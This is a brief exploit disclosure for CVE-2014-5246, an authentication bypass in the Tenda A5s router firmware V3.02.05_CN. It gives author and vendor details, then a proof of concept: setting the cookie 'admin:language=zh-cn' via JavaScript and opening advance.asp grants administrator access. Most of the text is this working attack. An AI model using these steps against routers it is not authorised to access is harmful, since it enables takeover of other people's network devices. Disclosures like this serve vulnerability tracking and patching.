1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
----------------------------------------------------------------------- Tenda A5s Router Authentication Bypass Vulnerability ----------------------------------------------------------------------- Author: zixian Mail: me@zixian.org Date: Aug, 17-2014 Vendor: http://tenda.com.cn/ Link: http://tenda.com.cn/Catalog/Product/223 Version : V3.02.05_CN CVE : CVE-2014-5246 Exploit & p0c _____________ go to http://192.168.2.1/ then set cookie with javascript javascript:document.cookie='admin:language=zh-cn' go to http://192.168.2.1/advance.asp you are the admin! _____________ |